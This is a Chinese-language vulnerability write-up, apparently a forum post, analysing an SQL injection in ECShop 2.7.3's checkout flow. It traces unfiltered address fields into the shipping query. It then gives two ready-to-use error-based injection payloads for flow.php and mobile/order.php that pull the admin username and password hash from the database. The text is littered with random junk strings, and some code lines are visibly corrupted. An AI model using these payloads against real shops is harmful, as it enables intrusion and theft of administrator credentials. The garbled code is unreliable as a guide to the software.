前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。3 y: Y) z/ S' F* o0 w+ ~! g
1 f7 `# ~7 E9 E& j
漏洞关键文件:
6 {3 _% s$ x s2 M
* f- p6 R( X$ j /includes/lib_order.php+ `) a7 j8 ~- N& [( W: j& M* ^: Z
8 b; D$ m; T* W+ F6 o) M 关键函数:7 s, f! E8 W6 F( G) ]7 O0 m7 Y/ Z
4 f9 O) X5 Q4 v1 B8 _
, V% p* Q5 f' Z7 N
( Q+ U: k \* O6 S& _
01 function available_shipping_list($region_id_list) # A+ e/ ?6 |+ y2 d4 l v" o
' K4 k% G1 L& q2 h- c02 {
! `+ i8 ^& l( S/ G3 p
: w$ z* w% e8 e% Q; K03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( |& C; p. K2 y3 R% B' s4 q& m# W+ O' _) _( u' B6 R
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 6 v/ L4 Q7 F& x7 _ p
: m Y0 U _) Z; u4 Q/ c7 I+ a
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . : U+ t( P% b" I' E! @
6 T) O; j: e6 `5 {
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . , ]7 a2 N7 O. Z) ~
$ R. V2 D, G% P
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
: S3 t3 H2 ?# r- Y2 G* t3 g' v3 ?( x) u; v5 ?
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
7 F- Z- ]" L$ w) _
& d, z2 ]7 R7 x L09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
3 J2 } c2 @+ L( X- S
# ~0 ^9 ?9 M8 p; K10 9 h$ ^2 e5 \. ], U" E2 z$ \3 N
& E( a! w" F0 s; [, f11 return $GLOBALS['db']->getAll($sql);
" ~3 n$ H3 G/ o) z4 G
) l5 e3 l# z9 m% A! o3 t. i5 y7 b12 }
: X+ ~ X8 f7 S: }: @. n
/ t6 U/ \! i& h$ x. i显然对传入的参数没有任何过滤就带入了查询语句。' B6 n1 R, ~1 e8 {
: f" u9 i% E1 O( C
下面我们追踪这个函数在flow.php中:
, J7 K0 y6 }# G5 n& F2 u1 J _ 第531行: & ~( \. l! z: j' G6 X
# J: d7 e, [1 y5 W S2 ~3 i1 $shipping_list = available_shipping_list($region);
) f; A. s& m) R" t
: ?: E6 I8 B# J" T: g 8 |9 n& }2 J& z. V% x
* k+ {2 E, _1 N( `" ]$ y: R2 _ , S/ J; m8 u2 Q5 `0 v* a
7 z) E {$ B7 p1 J再对传入变量进行追踪:- ?+ ^1 l. Z9 ~5 Z& ~4 d0 n
& D Y; M: M9 c第530行: 7 Q2 ~7 o" F: z/ t X D! g
. {4 V7 N4 h/ p3 i3 A: e5 F, a1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ! Q' Y. A0 c2 w0 R" L) z
5 W0 s3 P: h4 w$ T6 W
( u9 W8 Y* B1 x4 M$ e/ I6 T; k1 E* T+ V7 l. o$ r
5 w9 H% q/ k' _8 k! J
2 M/ Y! { ?, D$ U3 ]( q0 |0 p第473行:
$ `3 d5 b# F" z; P/ I: P+ `! ~5 [# k h: ?+ D" g' @7 N& h
1 $consignee = get_consignee($_SESSION['user_id']); 8 G) { M/ S, a8 W8 _7 W2 j
) R( L: x1 l1 {& Q6 F' P到了一个关键函数:
' k+ f* g. n) y5 x- A0 j2 S2 V- R" }" T7 B. m H. [+ h$ r
/includes/lib_order.php. t* ?8 E/ R6 h% U
9 A, @# \% s9 O+ W: R
0 X2 Y1 B( m! p/ x" e( r; Y3 z- J
* B0 x* z# P5 i$ q. O- _
7 l( \, U1 b# l5 \01 function get_consignee($user_id)
1 v' q8 S' m) x1 @# m7 _' z2 C, b: G
02 { ( Q; j- w- D3 z0 u* G
% l. c- [) a$ P6 B
03 if (isset($_SESSION['flow_consignee'])) * B) H8 r3 K/ j4 ~
. f$ g9 Z( U1 a/ ~: z' Q; L% r
04 { 7 M3 h$ ?" o2 \( Y! @! T+ K5 c, M
: h. a m7 B. Z$ x, I
05 /* 如果存在session,则直接返回session中的收货人信息 */
% T- U1 f$ v- H, b4 d% u4 D3 n4 l5 v, e* S: v/ t
06
. S# Z2 v9 g6 h& ?* I/ {2 p7 R9 H! S. x
07 return $_SESSION['flow_consignee']; ! b8 v4 s# P6 h6 z9 B
0 i- U- R, T% x08 }
) u, e( a2 J9 N7 T/ s% B7 o2 {# H' q$ f& l
09 else
: }. h2 e# G! s6 O' x [" I/ i1 s; d
- L+ F7 k% b) T1 t$ x" X: T10 { . u' ? g5 s9 R0 q: `
& B% u. ~' b: |! [11 /* 如果不存在,则取得用户的默认收货人信息 */ 3 J5 z( \- b7 |0 F& H3 k# [
/ T" Z0 F1 K) e) N Y" [
12 $arr = array();
0 P( Z+ R- I* C* V9 ^5 s3 P; z% I9 @7 m
13 # D$ l; T" [/ L: E, [4 |
) O0 K# W3 a8 }. x0 k4 o, y8 U5 u14 if ($user_id > 0) " b5 u4 H# \! f) T0 O
9 r0 _0 i, F) h0 F3 w6 D
15 {
6 y" G: Q; P4 L9 U
* K+ L0 u+ e# z, l# a n% U16 /* 取默认地址 */
/ Y8 G: ~4 x; S# A" i$ u% c7 r
: |- B8 h- a# F4 W4 R17 $sql = "SELECT ua.*".
( k0 q7 f7 Y4 \) F; U
3 D% x4 O c2 g: Y; ]' X; R' |1 L18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
( v, y8 w8 g' ?. N8 `
# p+ l6 q" e) J0 Q2 ~4 T19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; % d1 h: a( O4 n7 `# z: N9 }! B3 x8 o0 K
3 s$ T4 \) [- _+ T, |20
. Z, ^% T. X8 N3 | J
4 v& ]& t4 p4 S, r, b! m21 $arr = $GLOBALS['db']->getRow($sql); + ~( K6 K. l8 Q; ~
7 }8 T: O2 B+ J' A22 } - M, ]# ?+ E e* \+ i# W0 U# J/ m
9 o5 m3 }* O' S8 c% k6 D- W H
23 0 ^2 q8 n. n) {% F( b9 F
$ s2 |7 _. T3 V* a24 return $arr;
- T) w' H0 E: _' C( J# f) A) j: b6 F# ^6 u$ z
25 }
: c* m# e9 }( P1 p# {; G
# Z; w' `8 W9 ]7 k0 \+ D/ v6 J, q# O& N26 } * v# R' o4 Q2 O5 B7 m6 J% g
+ J& \ _# i+ _/ Q i. k4 s& W! r显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?" [( [! u4 j6 i1 a
8 K% H$ O- Y+ j' R
" `9 L0 u* a* C) `
2 T6 V7 B: G9 C( Z) Y
关键点:
+ d5 h+ j$ |+ V2 S+ f
/ T0 ?, P- U3 N- f U第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
/ R$ x0 w2 Y1 f1 L2 x7 i" M$ H( k$ h4 ?1 V i* k0 V+ U4 z/ b9 |" M
这里对传入参数反转义存入$_SESSION中。5 S4 J# o: l( c1 j& q4 w' g; ^$ A4 _
. y4 h/ ]/ e1 g1 H5 l $ r& P: t1 Y9 j9 K7 E5 _
8 ^9 k+ ]$ Q- q7 M4 ?然后看下:8 ~9 s: u. _$ {. N
+ P# s0 q% q6 I }3 I; o
4 x$ F8 h ^' W r! L/ t% `
% O9 F+ F+ D8 ^, p 3 P" a8 m/ w0 V8 c" W H
A# t+ Q& D- }8 S% H9 ~01 $consignee = array(
) r) i( ] D* f5 d! ~6 u) H' @1 G4 x
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ( b3 ~; |6 d b1 m; y& B$ {" j2 l
- l y5 x5 Z6 f. A
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), $ U p/ n! n% u7 _
$ x# {) l+ }; a6 z) v/ u04 'country' => empty($_POST['country']) ? '' _POST['country'],
: G8 L' y+ m: f J2 K8 t7 A1 ]6 i
A* I' [% m& y05 'province' => empty($_POST['province']) ? '' _POST['province'], ( o/ f. ?+ g0 q
* `* M+ l9 w; P9 q
06 'city' => empty($_POST['city']) ? '' _POST['city'], 6 v5 q* T. h: B5 W
1 k6 y( U0 i% t: U" Z
07 'district' => empty($_POST['district']) ? '' _POST['district'], ) o3 ~! M+ S4 ]( W
! P& O& e9 @8 Y1 F* z
08 'email' => empty($_POST['email']) ? '' _POST['email'],
6 S8 q4 M- \& l1 ]6 X2 T0 s+ M/ `7 ^& R5 R( Y
09 'address' => empty($_POST['address']) ? '' _POST['address'],
N: Z9 Z \# Q; N; T6 O
' F2 h6 A* G3 ~- @10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
+ ?9 ~* R! z0 _
' {( M7 }; W6 Y( ]" }* g' } Y11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
0 h, e) _% X% V( g0 _' Q' i f3 x# v! t( e. G5 C% p* N
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
% k( L9 n; {" S: |: [* \! i( Y Y9 S' K( y
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], : Y% e6 R7 C' B) g2 ]9 {
; Q3 D5 e, R, _7 J3 A; G8 C: v1 R14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
' Z, G2 W T- ^# O0 S1 n; L3 K
7 T4 w5 \4 n+ ^* h D15 ); + X7 Y( i; {$ c
9 A: P- S( c7 C& S! W4 M好了注入就这样出现了。
+ X. \0 I0 i8 A( n4 @! b* |$ P( `0 |) M$ b& |
==================
2 |8 g# a: j+ w( I+ g: A3 ^4 S' m# u# B F7 p M& g
注入测试:2 W) w5 ~1 b6 b2 o! K' a: n
7 g& G: e7 k; F5 K" |" R
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16), ~3 L: U" a! u
+ S0 N! ~" r' Q3 Z" W
测试程序:ECShop_V2.7.3_UTF8_release1106% k6 i7 z+ w; p8 L
4 i& E6 W7 F& W. o 5 J* \/ R, _" ~7 b/ |2 O+ ]
/ s* x {' |$ o3 G& c$ R; ^4 `
1.首先需要点击一个商品加入购物车
$ W" Z+ l& ?5 y% t; W7 K" @) x" Z, @. ^
2.注册一个会员帐号% i) d) M) B6 N; y4 ~3 T
' X, v# D# y- ~, S3.post提交数据8 K8 E) u2 O @. B# F O
: A7 n# U( w2 m; w
?+ `5 i/ f8 a( d7 W7 t$ A( C, F6 W
1 http://127.0.0.1/ecshop/flow.php - O" Y: z6 H7 x% ]
6 n3 J: u) L) x
2 & _9 a3 }8 f) f5 D& B7 K
* I4 \: v# \! x5 k: `" A9 T/ ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 6 D: G e+ D, m! z- @
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
2 \" Z! D) V6 I. Z6 y( n& \* V4 p+ r4 D8 x9 A5 J" |6 E7 c, ^
我们搜寻关键函数function available_shipping_list()
/ w! H, Q0 X# P* a
$ c+ _, g6 e1 s; o在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
. y6 _+ i, x8 |* d% a/ J' h! v* R' Y& ^3 B, \
利用exp:8 I9 ?' j5 d: \7 g; M( e# l% Y
: b4 w9 F3 t0 N, q7 X% H6 f' ^( [1.点击一个商品,点击购买商标
+ p; v4 h! }% i. ]& I# \* h6 P6 {' I/ t* d, p( X4 i7 A
2.登录会员帐号0 ~7 C- D+ J% K
4 }1 {6 I: i2 T3 ~" C2 M3.post提交:
. X8 N- ]' R _5 _+ T+ g1 x9 j0 R
8 J' S6 J% w* Nhttp://127.0.0.1/ecshop/mobile/order.php
' O7 w: E+ T( x {2 g/ ~+ T! o& A' S9 p
8 I2 j; I; v+ s" i
9 N1 r& b @0 C5 v8 \5 K) ~* c- A ?6 j% V; e+ O
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. s1 Z, S4 z: C( L9 o
8 f5 h0 z: D4 k% ~9 D4 b |